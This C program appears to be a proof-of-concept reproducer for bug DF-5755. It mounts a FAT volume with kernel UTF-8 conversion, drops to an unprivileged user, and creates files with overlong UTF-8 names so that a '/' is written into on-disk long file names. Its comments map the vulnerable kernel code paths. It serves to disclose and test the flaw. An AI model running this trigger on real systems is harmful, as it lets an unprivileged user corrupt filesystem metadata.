/* DF-5755 — end-to-end msdosfs/KICONV trigger for overlong-UTF-8 acceptance
 * in sys/libiconv/iconv_ucs.c utf8_to_ucs4().
 *
 * Mounts a FAT image with MSDOSFSMNT_KICONV and cs_local=cs_dos="UTF-8"
 * (pairs pre-registered by iconv_ucs_init(), sys/libiconv/iconv_ucs.c:377-383),
 * drops to uid nobody, then creates files whose raw component bytes contain
 * non-shortest UTF-8 sequences.  The kernel decodes them in
 * unix2winchr() -> convchr(pm_u2w) -> iconv_ucs_conv() FROM_UTF8 branch
 * (sys/libiconv/iconv_ucs.c:193-230, utf8_to_ucs4 at :411-478 has no
 * shortest-form check) and writes the decoded characters into the on-disk
 * LFN via unix2winfn() (sys/vfs/msdosfs/msdosfs_conv.c:559-579, no
 * validation; the only '/' filter is on the read side, win2unixfn :669-713,
 * and only for literal pre-conversion units).
 *
 * Run as root:  ./kiconv5755 mount <dev> <dir>
 *               (creates files as nobody inside <dir>/pub, then lists)
 */
#include <sys/param.h>
#include <sys/mount.h>
#include <sys/iconv.h>
#include <vfs/msdosfs/msdosfsmount.h>

#include <dirent.h>
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

static const char *names[] = {
	"OV\xC0\xAF" "SLASH",	/* 2-byte overlong U+002F -> LFN "OV/SLASH" */
	"OV\xC0\xAE" "DOT",	/* 2-byte overlong U+002E -> LFN "OV.DOT"  */
	"OV\xE0\x80\xAF" "S3",	/* 3-byte overlong U+002F                 */
	"plainok",		/* control                                */
	NULL
};

static void
listdir_hex(const char *path)
{
	char buf[8192];
	long basep = 0;
	int fd, n;

	fd = open(path, O_RDONLY);
	if (fd < 0) { warn("open %s", path); return; }
	printf("--- dirents of %s:\n", path);
	for (;;) {
		n = getdirentries(fd, buf, sizeof(buf), &basep);
		if (n <= 0)
			break;
		off_t off;
		for (off = 0; off < n;) {
			struct dirent *d = (struct dirent *)(buf + off);
			size_t i;
			printf("    namlen=%d name=\"", d->d_namlen);
			for (i = 0; i < d->d_namlen; i++) {
				unsigned char c = (unsigned char)d->d_name[i];
				if (c >= 0x20 && c < 0x7f)
					putchar(c);
				else
					printf("\\x%02x", c);
			}
			printf("\"\n      hex: ");
			for (i = 0; i < d->d_namlen; i++)
				printf("%02x ", (unsigned char)d->d_name[i]);
			printf("\n");
			off += _DIRENT_DIRSIZ(d);
		}
	}
	close(fd);
}

int
main(int argc, char **argv)
{
	struct msdosfs_args args;
	char pub[512];
	int i;

	if (argc != 4)
		errx(1, "usage: %s mount <dev> <dir>", argv[0]);

	memset(&args, 0, sizeof(args));
	args.fspec = argv[2];
	args.uid = 0;
	args.gid = 0;
	args.mask = 0777 & ALLPERMS;	/* literal mode bits (not umask) */
	args.dirmask = 0777 & ALLPERMS;
	args.flags = MSDOSFSMNT_KICONV | MSDOSFSMNT_LONGNAME;
	strlcpy(args.cs_local, "UTF-8", sizeof(args.cs_local));
	strlcpy(args.cs_dos, "UTF-8", sizeof(args.cs_dos));

	if (mount("msdos", argv[3], 0, &args) < 0)
		err(1, "mount msdos %s", argv[2]);
	printf("[+] mounted %s at %s (KICONV cs_local=UTF-8 cs_dos=UTF-8)\n",
	    argv[2], argv[3]);

	snprintf(pub, sizeof(pub), "%s/pub", argv[3]);
	if (mkdir(pub, 0777) < 0 && errno != EEXIST)
		err(1, "mkdir %s", pub);
	chmod(pub, 0777);	/* msdosfs chmod may EINVAL on no-op */

	/* Drop all privilege: the metadata corruption must be reachable by an
	 * unprivileged user with plain write access to the mounted volume. */
	if (setgroups(0, NULL) < 0 || setgid(65534) < 0 || setuid(65534) < 0)
		err(1, "setuid(nobody)");
	printf("[+] privileges dropped: uid=%d gid=%d\n", getuid(), getgid());

	for (i = 0; names[i]; i++) {
		char path[1024];
		size_t k;
		int fd;

		snprintf(path, sizeof(path), "%s/%s", pub, names[i]);
		fd = open(path, O_CREAT | O_WRONLY | O_EXCL, 0644);
		printf("[create %d] raw=\"", i);
		for (k = 0; names[i][k]; k++) {
			unsigned char c = (unsigned char)names[i][k];
			if (c >= 0x20 && c < 0x7f)
				putchar(c);
			else
				printf("\\x%02x", c);
		}
		printf("\" -> %s (fd=%d errno-path=%s)\n",
		    fd >= 0 ? "OK" : "FAIL", fd, fd >= 0 ? "-" : strerror(errno));
		if (fd >= 0) {
			dprintf(fd, "x");
			close(fd);
		}
	}

	/* Read the names back: shows what the kernel's own converter returns
	 * for the metadata it just wrote. */
	listdir_hex(pub);
	printf("[+] done (unmount from shell)\n");
	return 0;
}
